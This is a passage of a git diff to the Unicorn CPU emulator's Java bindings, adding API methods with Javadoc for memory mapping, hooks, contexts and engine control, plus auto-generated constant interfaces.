> Integer.MAX_VALUE) { + throw new IllegalArgumentException("size must fit in an int"); + } + byte[] result = new byte[(int) size]; + _mem_read(nativePtr, address, result); + return result; + } + + /** + * Write to memory. + * + * @param address Start address of the memory region to be written. + * @param bytes The values to be written into memory. {@code bytes.length} + * bytes will be written. + */ + public void mem_write(long address, byte[] bytes) throws UnicornException { + _mem_write(nativePtr, address, bytes); + } + + /** + * Query the internal status of the engine. + * + * @param type query type, one of the {@code UC_QUERY_*} constants. + * @return result of the query + * @see UnicornConst + */ + public long query(int type) throws UnicornException { + return _query(nativePtr, type); + } + + /** + * Report the last error number when some API functions fail. + * {@code errno} may not retain its old value once accessed. + * + * @return Error code, one of the {@code UC_ERR_*} constants. + * @deprecated Not actually useful in Java; error numbers are always + * converted into {@link UnicornException} exceptions. + * @see UnicornConst + */ + @Deprecated + public int errno() { + return _errno(nativePtr); + } + + /** + * Return a string describing the given error code. + * + * @param code Error code, one of the {@code UC_ERR_*} constants. + * @return a String that describes the error code + * @see UnicornConst + */ + public static String strerror(int code) { + return _strerror(code); + } + + /** + * Get the current emulation mode. + * + * @return a bitwise OR of {@code UC_MODE_*} constants. + */ + public int ctl_get_mode() throws UnicornException { + return _ctl_get_mode(nativePtr); + } + + /** + * Get the current emulation architecture. + * + * @return a {@code UC_ARCH_*} constant. + */ + public int ctl_get_arch() throws UnicornException { + return _ctl_get_arch(nativePtr); + } + + /** Get the current execution timeout, in nanoseconds. */ + public long ctl_get_timeout() throws UnicornException { + return _ctl_get_timeout(nativePtr); + } + + /** Get the current page size, in bytes. */ + public int ctl_get_page_size() throws UnicornException { + return _ctl_get_page_size(nativePtr); + } + + /** Set the current page size, in bytes. + * + * @param page_size Requested page type. Must be a power of two. + * @throws UnicornException if the architecture does not support setting + * the page size. + */ + public void ctl_set_page_size(int page_size) throws UnicornException { + _ctl_set_page_size(nativePtr, page_size); + } + + /** Enable or disable multiple exit support. + * + * Exits provide a more flexible way to terminate execution, versus using + * the {@code until} parameter to {@link #emu_start}. When exits are + * enabled, execution will stop at any of the configured exit addresses, + * and the {@code until} parameter will be ignored. + */ + public void ctl_exits_enabled(boolean value) throws UnicornException { + _ctl_set_use_exits(nativePtr, value); + } + + /** Get the current number of active exits. + * + * @return The number of exit addresses currently configured + * @throws UnicornException if exits are not enabled + */ + public long ctl_get_exits_cnt() throws UnicornException { + return _ctl_get_exits_cnt(nativePtr); + } + + /** Get the current active exits. + * + * @return An array of active exit addresses. + * @throws UnicornException if exits are not enabled + */ + public long[] ctl_get_exits() throws UnicornException { + return _ctl_get_exits(nativePtr); + } + + /** Set the active exit addresses. + * + * @param exits An array of exit addresses to use. + * @throws UnicornException if exits are not enabled + */ + public void ctl_set_exits(long[] exits) throws UnicornException { + _ctl_set_exits(nativePtr, exits); + } + + /** Get the emulated CPU model. + * + * @return One of the {@code UC_CPU__*} constants. See the + * appropriate Const class for a list of valid constants. + */ + public int ctl_get_cpu_model() throws UnicornException { + return _ctl_get_cpu_model(nativePtr); + } + + /** Set the emulated CPU model. Note that this option can only be called + * immediately after constructing the Unicorn object, before any other APIs + * are called. + * + * @param cpu_model One of the {@code UC_CPU__*} constants. See the + * appropriate Const class for a list of valid constants. + */ + public void ctl_set_cpu_model(int cpu_model) throws UnicornException { + _ctl_set_cpu_model(nativePtr, cpu_model); + } + + /** Request the TB cache at a specific address. */ + public TranslationBlock ctl_request_cache(long address) + throws UnicornException { + return _ctl_request_cache(nativePtr, address); + } + + /** Invalidate the TB cache for a specific range of addresses + * {@code [address, end)}. Note that invalidation will not include address + * {@code end} itself. + * + * @param address The first address in the region to invalidate + * @param end The last address in the region to invalidate, plus one + */ + public void ctl_remove_cache(long address, long end) + throws UnicornException { + _ctl_remove_cache(nativePtr, address, end); + } + + /** Flush the entire TB cache, invalidating all translation blocks. */ + public void ctl_flush_tb() throws UnicornException { + _ctl_flush_tb(nativePtr); + } + + /** Flush the TLB cache, invalidating all TLB cache entries and + * translation blocks. */ + public void ctl_flush_tlb() throws UnicornException { + _ctl_flush_tlb(nativePtr); + } + + /** Change the TLB implementation. + * + * @param mode One of the {@code UC_TLB_*} constants. + * @see UnicornConst + */ + public void ctl_tlb_mode(int mode) throws UnicornException { + _ctl_tlb_mode(nativePtr, mode); + } + + private long registerHook(Hook hook, long val) { + HookWrapper wrapper = new HookWrapper(); + wrapper.hook = hook; + wrapper.nativePtr = val; + long index = nextAllocCounter(); + hooks.put(index, wrapper); + return index; + } + + /** + * Register a {@code UC_HOOK_INTR} hook. The hook function will be invoked + * whenever a CPU interrupt occurs. + * + * @param callback Implementation of a {@link InterruptHook} interface + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(InterruptHook callback, Object user_data) + throws UnicornException { + return registerHook(callback, + _hook_add(nativePtr, UC_HOOK_INTR, callback, user_data, 1, 0)); + } + + /** + * Register a {@code UC_HOOK_INSN} hook. The hook function will be + * invoked whenever the matching special instruction is executed. + * The exact interface called will depend on the instruction being hooked. + * + * @param callback Implementation of an {@link InstructionHook} sub-interface + * @param insn {@code UC__INS_} constant, e.g. + * {@code UC_X86_INS_IN} or {@code UC_ARM64_INS_MRS} + * @param begin Start address of hooking range + * @param end End address of hooking range + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(InstructionHook callback, int insn, long begin, + long end, + Object user_data) + throws UnicornException { + return registerHook(callback, _hook_add(nativePtr, UC_HOOK_INSN, + callback, user_data, begin, end, insn)); + } + + /** + * Register a {@code UC_HOOK_INSN} hook for all program addresses. + * The exact interface called will depend on the instruction being hooked. + * + * @param callback Implementation of an {@link InstructionHook} + * sub-interface + * @param insn {@code UC__INS_} constant, e.g. + * {@code UC_X86_INS_IN} or {@code UC_ARM64_INS_MRS} + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(InstructionHook callback, int insn, Object user_data) + throws UnicornException { + return hook_add(callback, insn, 1, 0, user_data); + } + + /** + * Register a hook for the X86 IN instruction. + * The registered callback will be called whenever an IN instruction + * is executed. + * + * @param callback Object implementing the {@link InHook} interface + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(InHook callback, Object user_data) + throws UnicornException { + return hook_add(callback, UC_X86_INS_IN, user_data); + } + + /** + * Register a hook for the X86 OUT instruction. + * The registered callback will be called whenever an OUT instruction + * is executed. + * + * @param callback Object implementing the {@link InHook} interface + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(OutHook callback, Object user_data) + throws UnicornException { + return hook_add(callback, UC_X86_INS_OUT, user_data); + } + + /** @deprecated Use {@code hook_add(callback, UC_X86_INS_SYSCALL, begin, + * end, user_data)} or {@code hook_add(callback, + * UC_X86_INS_SYSENTER, begin, end, user_data)} instead. + */ + @Deprecated + public long hook_add(SyscallHook callback, Object user_data) + throws UnicornException { + // Old implementation only registered SYSCALL, not SYSENTER. + // Since this is deprecated anyway, we retain the old behaviour. + return hook_add(callback, UC_X86_INS_SYSCALL, user_data); + } + + /** + * Register a {@code UC_HOOK_CODE} hook. The hook function will be + * invoked when an instruction is executed from the address range + * begin <= PC <= end. For the special case in which begin > end, the + * callback will be invoked for ALL instructions. + * + * @param callback Implementation of a {@link CodeHook} interface + * @param begin Start address of hooking range + * @param end End address of hooking range + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(CodeHook callback, long begin, long end, + Object user_data) + throws UnicornException { + return registerHook(callback, _hook_add(nativePtr, UC_HOOK_CODE, + callback, user_data, begin, end)); + } + + /** + * Register a {@code UC_HOOK_BLOCK} hook. The hook function will be + * invoked when a basic block is entered and the address of the basic + * block (BB) falls in the range begin <= BB <= end. For the special case + * in which begin > end, the callback will be invoked whenver any basic + * block is entered. + * + * @param callback Implementation of a {@link BlockHook} interface + * @param begin Start address of hooking range + * @param end End address of hooking range + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(BlockHook callback, long begin, long end, + Object user_data) + throws UnicornException { + return registerHook(callback, _hook_add(nativePtr, UC_HOOK_BLOCK, + callback, user_data, begin, end)); + } + + /** + * Register a {@code UC_HOOK_MEM_VALID} hook + * ({@code UC_HOOK_MEM_[READ,WRITE,FETCH]} and/or + * {@code UC_HOOK_MEM_READ_AFTER}. The registered callback function will + * be invoked whenever a corresponding memory operation is performed + * within the address range begin <= addr <= end. For the special case in + * which begin > end, the callback will be invoked for ALL memory + * operations. + * + * @param callback Implementation of a {@link MemHook} interface + * @param type Bitwise OR of {@code UC_HOOK_MEM_*} constants for + * valid memory events + * @param begin Start address of memory range + * @param end End address of memory range + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(MemHook callback, int type, long begin, long end, + Object user_data) + throws UnicornException { + return registerHook(callback, + _hook_add(nativePtr, type, callback, user_data, begin, end)); + } + + /** + * Register a {@code UC_HOOK_MEM_*_UNMAPPED} and/or + * {@code UC_HOOK_MEM_*_PROT} hook. + * The hook function will be invoked whenever a memory operation is + * attempted from an invalid or protected memory address within the address + * range begin <= addr <= end. For the special case in which begin > end, + * the callback will be invoked for ALL invalid memory operations. + * + * @param callback Implementation of a {@link EventMemHook} interface + * @param type Bitwise OR of {@code UC_HOOK_MEM_*} constants for + * invalid memory events. + * @param begin Start address of memory range + * @param end End address of memory range + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(EventMemHook callback, int type, long begin, long end, + Object user_data) + throws UnicornException { + return registerHook(callback, + _hook_add(nativePtr, type, callback, user_data, begin, end)); + } + + /** + * Register a {@code UC_HOOK_MEM_*_UNMAPPED} and/or + * {@code UC_HOOK_MEM_*_PROT} hook for all memory addresses. + * + * @param callback Implementation of a {@link EventMemHook} interface + * @param type Bitwise OR of {@code UC_HOOK_MEM_*} constants for + * invalid memory events. + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(EventMemHook callback, int type, Object user_data) + throws UnicornException { + return registerHook(callback, + _hook_add(nativePtr, type, callback, user_data, 1, 0)); + } + + /** + * Register a {@code UC_HOOK_INSN_INVALID} hook. The hook function will be + * invoked whenever an invalid instruction is encountered. + * + * @param callback Implementation of a {@link InvalidInstructionHook} + * interface + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(InvalidInstructionHook callback, + Object user_data) { + return registerHook(callback, _hook_add(nativePtr, UC_HOOK_INSN_INVALID, + callback, user_data, 1, 0)); + } + + /** + * Register a {@code UC_HOOK_EDGE_GENERATED} hook. The hook function will + * be invoked whenever a jump is made to a new (untranslated) basic block + * with a start address in the range of begin <= pc <= end. For the + * special case in which begin > end, the callback will be invoked for ALL + * new edges. + * + * @param callback Implementation of a {@link EdgeGeneratedHook} interface + * @param begin Start address + * @param end End address + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(EdgeGeneratedHook callback, long begin, long end, + Object user_data) + throws UnicornException { + return registerHook(callback, _hook_add(nativePtr, + UC_HOOK_EDGE_GENERATED, callback, user_data, begin, end)); + } + + /** + * Register a {@code UC_HOOK_TCG_OPCODE} hook. The hook function will be + * invoked whenever a matching instruction is executed within the + * registered range. + * + * @param callback Implementation of a {@link TcgOpcodeHook} interface + * @param begin Start address + * @param end End address + * @param opcode Opcode to hook. One of the {@code UC_TCG_OP_*} + * constants. + * @param flags Flags to filter opcode matches. A bitwise-OR of + * {@code UC_TCG_OP_FLAG_*} constants. + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(TcgOpcodeHook callback, long begin, long end, + int opcode, int flags, + Object user_data) + throws UnicornException { + return registerHook(callback, _hook_add(nativePtr, UC_HOOK_TCG_OPCODE, + callback, user_data, begin, end, opcode, flags)); + } + + /** + * Register a {@code UC_HOOK_TLB_FILL} hook. The hook function will be + * invoked to map a virtual address within the registered range to a + * physical address. These hooks will only be called if the TLB mode (set + * via {@link #ctl_tlb_mode}) is set to {@code UC_TLB_VIRTUAL}. + * + * @param callback Implementation of a {@link TlbFillHook} interface + * @param begin Start address + * @param end End address + * @param user_data User data to be passed to the callback function each + * time the event is triggered + * @return A value that can be passed to {@link #hook_del} to unregister + * this hook + */ + public long hook_add(TlbFillHook callback, long begin, long end, + Object user_data) throws UnicornException { + return registerHook(callback, _hook_add(nativePtr, UC_HOOK_TLB_FILL, + callback, user_data, begin, end)); + } + + /** Remove a hook that was previously registered. + * + * @param hook The return value from any {@code hook_add} function. + */ + public void hook_del(long hook) throws UnicornException { + if (hooks.containsKey(hook)) { + HookWrapper wrapper = hooks.remove(hook); + _hook_del(nativePtr, wrapper.nativePtr); + } else { + throw new UnicornException("Hook is not registered!"); + } + } + + /** Remove all registrations for a given {@link Hook} object. + * + * @param hook A {@link Hook} object to unregister. + */ + public void hook_del(Hook hook) throws UnicornException { + if (hook == null) { + // we use null for "special" hooks that can't be _hook_del'd + throw new NullPointerException("hook must not be null"); + } + Iterator> it = hooks.entrySet().iterator(); + while (it.hasNext()) { + HookWrapper wrapper = it.next().getValue(); + if (wrapper.hook == hook) { + it.remove(); + _hook_del(nativePtr, wrapper.nativePtr); + } + } + } + + /** + * Create a memory-mapped I/O range. + * + * @param address Starting memory address of the MMIO area + * @param size Size of the MMIO area + * @param read_cb Implementation of {@link MmioReadHandler} to handle + * read operations, or {@code null} for non-readable + * memory + * @param user_data_read User data to be passed to the read callback + * @param write_cb Implementation of {@link MmioWriteHandler} to handle + * write operations, or {@code null} for non-writable + * memory + * @param user_data_write User data to be passed to the write callback + * @throws UnicornException + */ + public void mmio_map(long address, long size, MmioReadHandler read_cb, + Object user_data_read, MmioWriteHandler write_cb, + Object user_data_write) + throws UnicornException { + /* TODO: Watch mem_unmap to know when it's safe to release the hook. */ + long[] hooks = _mmio_map(nativePtr, address, size, read_cb, + user_data_read, write_cb, user_data_write); + for (long hook : hooks) { + registerHook(null, hook); + } + } + + /** + * Map a range of memory, automatically allocating backing host memory. + * + * @param address Base address of the memory range + * @param size Size of the memory block + * @param perms Permissions on the memory block. A bitwise combination + * of {@code UC_PROT_*} constants. + */ + public void mem_map(long address, long size, int perms) + throws UnicornException { + _mem_map(nativePtr, address, size, perms); + } + + /** + * Map a range of memory, backed by an existing region of host memory. + * This API enables direct access to emulator memory without going through + * {@link #mem_read} and {@link #mem_write}. + *

+ * Usage note: The mapped memory region will correspond to the entire + * passed-in Buffer from position 0 (the origin) up to its capacity. The + * capacity MUST be a multiple of the page size. The current position and + * limit will be ignored. + * You can use {@link Buffer#slice()} to get a new Buffer sharing the same + * memory region, with the origin set to the current {@code position} and + * the capacity set to {@code limit - position}. + * + * @param address Base address of the memory range + * @param buf Direct Buffer referencing the memory to map into the + * emulator. IMPORTANT: You are responsible for ensuring + * that this Buffer remains alive as long as the memory + * remains mapped! + * @param perms Permissions on the memory block. A bitwise combination + * of {@code UC_PROT_*} constants. + */ + public void mem_map_ptr(long address, Buffer buf, int perms) + throws UnicornException { + _mem_map_ptr(nativePtr, address, buf, perms); + } + + /** + * Unmap a range of memory. + * + * @param address Base address of the memory range + * @param size Size of the memory block. + */ + public void mem_unmap(long address, long size) throws UnicornException { + _mem_unmap(nativePtr, address, size); + } + + /** + * Change permissions on a range of memory. + * + * @param address Base address of the memory range + * @param size Size of the memory block. + * @param perms Permissions on the memory block. A bitwise combination + * of {@code UC_PROT_*} constants. + */ + public void mem_protect(long address, long size, int perms) + throws UnicornException { + _mem_protect(nativePtr, address, size, perms); + } + + /** + * Retrieve all memory regions mapped by {@link #mem_map}, + * {@link #mmio_map} and {@link #mem_map_ptr}. + * NOTE: memory regions may be split by {@link #mem_unmap}. + * + * @return array of mapped regions. + */ + public MemRegion[] mem_regions() throws UnicornException { + return _mem_regions(nativePtr); + } + + /** + * Save the current CPU state of the emulator. The resulting context can be + * restored on any emulator with the same {@code arch} and {@code mode}. + */ + public Context context_save() throws UnicornException { + long ptr = _context_alloc(nativePtr); + Context context = new Context(); + context.nativePtr = ptr; + context.arch = arch; + context.mode = mode; + _context_save(nativePtr, ptr); + return context; + } + + /** + * Update a {@link Context} object with the current CPU state of the + * emulator. + */ + public void context_update(Context context) throws UnicornException { + if (context.arch != arch || context.mode != mode) { + throw new UnicornException( + "Context is not compatible with this Unicorn"); + } + _context_save(nativePtr, context.nativePtr); + } + + /** + * Restore the current CPU context from a saved copy. + */ + public void context_restore(Context context) throws UnicornException { + if (context.arch != arch || context.mode != mode) { + throw new UnicornException( + "Context is not compatible with this Unicorn"); + } + _context_restore(nativePtr, context.nativePtr); + } + + /* Obsolete context implementation, for backwards compatibility only */ + /** Structure to track contexts allocated using context_alloc, for + * memory safety. Not used for contexts created using + * {@link #context_save()}. + */ + private static Hashtable allocedContexts = new Hashtable<>(); + + /** @deprecated Use {@link #context_save()} instead. */ + @Deprecated + public long context_alloc() { + long ptr = _context_alloc(nativePtr); + Context context = new Context(); + context.nativePtr = ptr; + context.arch = arch; + context.mode = mode; + long index = nextAllocCounter(); + allocedContexts.put(index, context); + return index; + } + + /** @deprecated Do not use this method. + * + * @param handle Value previously returned by {@link #context_alloc} + */ + @Deprecated + public void free(long handle) { + allocedContexts.remove(handle); + } + + /** @deprecated Use {@link #context_save()} or {@link #context_update} + * instead */ + @Deprecated + public void context_save(long context) { + context_update(allocedContexts.get(context)); + } + + /** @deprecated Use {@link #context_restore(Context)} instead */ + @Deprecated + public void context_restore(long context) { + context_restore(allocedContexts.get(context)); + } + + /* Native implementation */ + private static native long _open(int arch, int mode) + throws UnicornException; + + private static native void _close(long uc) throws UnicornException; + + private static native void _emu_start(long uc, long begin, long until, + long timeout, + long count) throws UnicornException; + + private static native void _emu_stop(long uc) throws UnicornException; + + private static native long _reg_read_long(long ptr, int isContext, + int regid) throws UnicornException; + + private static native void _reg_read_bytes(long ptr, int isContext, + int regid, byte[] data) throws UnicornException; + + private static native void _reg_write_long(long ptr, int isContext, + int regid, long val) + throws UnicornException; + + private static native void _reg_write_bytes(long ptr, int isContext, + int regid, byte[] data) throws UnicornException; + + private static native X86_MMR _reg_read_x86_mmr(long ptr, int isContext, + int regid) throws UnicornException; + + private static native void _reg_write_x86_mmr(long ptr, int isContext, + int regid, short selector, long base, int limit, int flags) + throws UnicornException; + + private static native long _reg_read_x86_msr(long ptr, int isContext, + int rid) throws UnicornException; + + private static native void _reg_write_x86_msr(long ptr, int isContext, + int rid, long value) throws UnicornException; + + private static native long _reg_read_arm_cp(long ptr, int isContext, int cp, + int is64, int sec, int crn, int crm, int opc1, int opc2) + throws UnicornException; + + private static native void _reg_write_arm_cp(long ptr, int isContext, + int cp, int is64, int sec, int crn, int crm, int opc1, int opc2, + long value) throws UnicornException; + + private static native long _reg_read_arm64_cp(long ptr, int isContext, + int crn, int crm, int op0, int op1, int op2) + throws UnicornException; + + private static native void _reg_write_arm64_cp(long ptr, int isContext, + int crn, int crm, int op0, int op1, int op2, long value) + throws UnicornException; + + private static native void _mem_read(long uc, long address, + byte[] dest) throws UnicornException; + + private static native void _mem_write(long uc, long address, + byte[] src) throws UnicornException; + + private static native int _version(); + + private static native boolean _arch_supported(int arch); + + private static native long _query(long uc, int type) + throws UnicornException; + + private static native int _errno(long uc); + + private static native String _strerror(int code); + + private native long _hook_add(long uc, int type, Hook callback, + Object user_data, long begin, long end) throws UnicornException; + + private native long _hook_add(long uc, int type, Hook callback, + Object user_data, long begin, long end, int arg) + throws UnicornException; + + private native long _hook_add(long uc, int type, Hook callback, + Object user_data, long begin, long end, int arg1, int arg2) + throws UnicornException; + + private static native void _hook_del(long uc, long hh) + throws UnicornException; + + private static native void _hookwrapper_free(long hh) + throws UnicornException; + + private native long[] _mmio_map(long uc, long address, long size, + MmioReadHandler read_cb, Object user_data_read, + MmioWriteHandler write_cb, Object user_data_write) + throws UnicornException; + + private static native void _mem_map(long uc, long address, long size, + int perms) throws UnicornException; + + private static native void _mem_map_ptr(long uc, long address, Buffer buf, + int perms) throws UnicornException; + + private static native void _mem_unmap(long uc, long address, long size) + throws UnicornException; + + private static native void _mem_protect(long uc, long address, long size, + int perms) throws UnicornException; + + private static native MemRegion[] _mem_regions(long uc) + throws UnicornException; + + private static native long _context_alloc(long uc) throws UnicornException; + + private static native void _context_free(long ctx) throws UnicornException; + + private static native void _context_save(long uc, long ctx) + throws UnicornException; + + private static native void _context_restore(long uc, long ctx) + throws UnicornException; + + private static native int _ctl_get_mode(long uc) throws UnicornException; + + private static native int _ctl_get_arch(long uc) throws UnicornException; + + private static native long _ctl_get_timeout(long uc) + throws UnicornException; + + private static native int _ctl_get_page_size(long uc) + throws UnicornException; + + private static native void _ctl_set_page_size(long uc, int page_size) + throws UnicornException; + + private static native void _ctl_set_use_exits(long uc, boolean value) + throws UnicornException; + + private static native long _ctl_get_exits_cnt(long uc) + throws UnicornException; + + private static native long[] _ctl_get_exits(long uc) + throws UnicornException; + + private static native void _ctl_set_exits(long uc, long[] exits) + throws UnicornException; + + private static native int _ctl_get_cpu_model(long uc) + throws UnicornException; + + private static native void _ctl_set_cpu_model(long uc, int cpu_model) + throws UnicornException; + + private static native TranslationBlock _ctl_request_cache(long uc, + long address) throws UnicornException; + + private static native void _ctl_remove_cache(long uc, long address, + long end) throws UnicornException; + + private static native void _ctl_flush_tb(long uc) throws UnicornException; + + private static native void _ctl_flush_tlb(long uc) throws UnicornException; + + private static native void _ctl_tlb_mode(long uc, int mode) + throws UnicornException; +} diff --git a/bindings/java/src/main/java/unicorn/UnicornConst.java b/bindings/java/src/main/java/unicorn/UnicornConst.java new file mode 100644 index 0000000000..8ab6fdb174 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/UnicornConst.java @@ -0,0 +1,154 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface UnicornConst { + public static final int UC_API_MAJOR = 2; + + public static final int UC_API_MINOR = 0; + public static final int UC_API_PATCH = 2; + public static final int UC_API_EXTRA = 1; + public static final int UC_VERSION_MAJOR = 2; + + public static final int UC_VERSION_MINOR = 0; + public static final int UC_VERSION_PATCH = 2; + public static final int UC_VERSION_EXTRA = 1; + public static final int UC_SECOND_SCALE = 1000000; + public static final int UC_MILISECOND_SCALE = 1000; + public static final int UC_ARCH_ARM = 1; + public static final int UC_ARCH_ARM64 = 2; + public static final int UC_ARCH_MIPS = 3; + public static final int UC_ARCH_X86 = 4; + public static final int UC_ARCH_PPC = 5; + public static final int UC_ARCH_SPARC = 6; + public static final int UC_ARCH_M68K = 7; + public static final int UC_ARCH_RISCV = 8; + public static final int UC_ARCH_S390X = 9; + public static final int UC_ARCH_TRICORE = 10; + public static final int UC_ARCH_MAX = 11; + + public static final int UC_MODE_LITTLE_ENDIAN = 0; + public static final int UC_MODE_BIG_ENDIAN = 1073741824; + + public static final int UC_MODE_ARM = 0; + public static final int UC_MODE_THUMB = 16; + public static final int UC_MODE_MCLASS = 32; + public static final int UC_MODE_V8 = 64; + public static final int UC_MODE_ARMBE8 = 1024; + public static final int UC_MODE_ARM926 = 128; + public static final int UC_MODE_ARM946 = 256; + public static final int UC_MODE_ARM1176 = 512; + public static final int UC_MODE_MICRO = 16; + public static final int UC_MODE_MIPS3 = 32; + public static final int UC_MODE_MIPS32R6 = 64; + public static final int UC_MODE_MIPS32 = 4; + public static final int UC_MODE_MIPS64 = 8; + public static final int UC_MODE_16 = 2; + public static final int UC_MODE_32 = 4; + public static final int UC_MODE_64 = 8; + public static final int UC_MODE_PPC32 = 4; + public static final int UC_MODE_PPC64 = 8; + public static final int UC_MODE_QPX = 16; + public static final int UC_MODE_SPARC32 = 4; + public static final int UC_MODE_SPARC64 = 8; + public static final int UC_MODE_V9 = 16; + public static final int UC_MODE_RISCV32 = 4; + public static final int UC_MODE_RISCV64 = 8; + + public static final int UC_ERR_OK = 0; + public static final int UC_ERR_NOMEM = 1; + public static final int UC_ERR_ARCH = 2; + public static final int UC_ERR_HANDLE = 3; + public static final int UC_ERR_MODE = 4; + public static final int UC_ERR_VERSION = 5; + public static final int UC_ERR_READ_UNMAPPED = 6; + public static final int UC_ERR_WRITE_UNMAPPED = 7; + public static final int UC_ERR_FETCH_UNMAPPED = 8; + public static final int UC_ERR_HOOK = 9; + public static final int UC_ERR_INSN_INVALID = 10; + public static final int UC_ERR_MAP = 11; + public static final int UC_ERR_WRITE_PROT = 12; + public static final int UC_ERR_READ_PROT = 13; + public static final int UC_ERR_FETCH_PROT = 14; + public static final int UC_ERR_ARG = 15; + public static final int UC_ERR_READ_UNALIGNED = 16; + public static final int UC_ERR_WRITE_UNALIGNED = 17; + public static final int UC_ERR_FETCH_UNALIGNED = 18; + public static final int UC_ERR_HOOK_EXIST = 19; + public static final int UC_ERR_RESOURCE = 20; + public static final int UC_ERR_EXCEPTION = 21; + public static final int UC_ERR_OVERFLOW = 22; + public static final int UC_MEM_READ = 16; + public static final int UC_MEM_WRITE = 17; + public static final int UC_MEM_FETCH = 18; + public static final int UC_MEM_READ_UNMAPPED = 19; + public static final int UC_MEM_WRITE_UNMAPPED = 20; + public static final int UC_MEM_FETCH_UNMAPPED = 21; + public static final int UC_MEM_WRITE_PROT = 22; + public static final int UC_MEM_READ_PROT = 23; + public static final int UC_MEM_FETCH_PROT = 24; + public static final int UC_MEM_READ_AFTER = 25; + + public static final int UC_TCG_OP_SUB = 0; + public static final int UC_TCG_OP_FLAG_CMP = 1; + public static final int UC_TCG_OP_FLAG_DIRECT = 2; + public static final int UC_HOOK_INTR = 1; + public static final int UC_HOOK_INSN = 2; + public static final int UC_HOOK_CODE = 4; + public static final int UC_HOOK_BLOCK = 8; + public static final int UC_HOOK_MEM_READ_UNMAPPED = 16; + public static final int UC_HOOK_MEM_WRITE_UNMAPPED = 32; + public static final int UC_HOOK_MEM_FETCH_UNMAPPED = 64; + public static final int UC_HOOK_MEM_READ_PROT = 128; + public static final int UC_HOOK_MEM_WRITE_PROT = 256; + public static final int UC_HOOK_MEM_FETCH_PROT = 512; + public static final int UC_HOOK_MEM_READ = 1024; + public static final int UC_HOOK_MEM_WRITE = 2048; + public static final int UC_HOOK_MEM_FETCH = 4096; + public static final int UC_HOOK_MEM_READ_AFTER = 8192; + public static final int UC_HOOK_INSN_INVALID = 16384; + public static final int UC_HOOK_EDGE_GENERATED = 32768; + public static final int UC_HOOK_TCG_OPCODE = 65536; + public static final int UC_HOOK_TLB_FILL = 131072; + public static final int UC_HOOK_MEM_UNMAPPED = 112; + public static final int UC_HOOK_MEM_PROT = 896; + public static final int UC_HOOK_MEM_READ_INVALID = 144; + public static final int UC_HOOK_MEM_WRITE_INVALID = 288; + public static final int UC_HOOK_MEM_FETCH_INVALID = 576; + public static final int UC_HOOK_MEM_INVALID = 1008; + public static final int UC_HOOK_MEM_VALID = 7168; + public static final int UC_QUERY_MODE = 1; + public static final int UC_QUERY_PAGE_SIZE = 2; + public static final int UC_QUERY_ARCH = 3; + public static final int UC_QUERY_TIMEOUT = 4; + + public static final int UC_CTL_IO_NONE = 0; + public static final int UC_CTL_IO_WRITE = 1; + public static final int UC_CTL_IO_READ = 2; + public static final int UC_CTL_IO_READ_WRITE = 3; + + public static final int UC_TLB_CPU = 0; + public static final int UC_TLB_VIRTUAL = 1; + + public static final int UC_CTL_UC_MODE = 0; + public static final int UC_CTL_UC_PAGE_SIZE = 1; + public static final int UC_CTL_UC_ARCH = 2; + public static final int UC_CTL_UC_TIMEOUT = 3; + public static final int UC_CTL_UC_USE_EXITS = 4; + public static final int UC_CTL_UC_EXITS_CNT = 5; + public static final int UC_CTL_UC_EXITS = 6; + public static final int UC_CTL_CPU_MODEL = 7; + public static final int UC_CTL_TB_REQUEST_CACHE = 8; + public static final int UC_CTL_TB_REMOVE_CACHE = 9; + public static final int UC_CTL_TB_FLUSH = 10; + public static final int UC_CTL_TLB_FLUSH = 11; + public static final int UC_CTL_TLB_TYPE = 12; + public static final int UC_CTL_TCG_BUFFER_SIZE = 13; + + public static final int UC_PROT_NONE = 0; + public static final int UC_PROT_READ = 1; + public static final int UC_PROT_WRITE = 2; + public static final int UC_PROT_EXEC = 4; + public static final int UC_PROT_ALL = 7; + +} diff --git a/bindings/java/unicorn/UnicornException.java b/bindings/java/src/main/java/unicorn/UnicornException.java similarity index 86% rename from bindings/java/unicorn/UnicornException.java rename to bindings/java/src/main/java/unicorn/UnicornException.java index 175775c26b..84777fc388 100644 --- a/bindings/java/unicorn/UnicornException.java +++ b/bindings/java/src/main/java/unicorn/UnicornException.java @@ -22,13 +22,11 @@ package unicorn; public class UnicornException extends RuntimeException { + public UnicornException() { + super(); + } - public UnicornException() { - super(); - } - - public UnicornException(String msg) { - super(msg); - } - + public UnicornException(String msg) { + super(msg); + } } diff --git a/bindings/java/src/main/java/unicorn/X86Const.java b/bindings/java/src/main/java/unicorn/X86Const.java new file mode 100644 index 0000000000..9c0446c821 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/X86Const.java @@ -0,0 +1,1634 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface X86Const { + + // 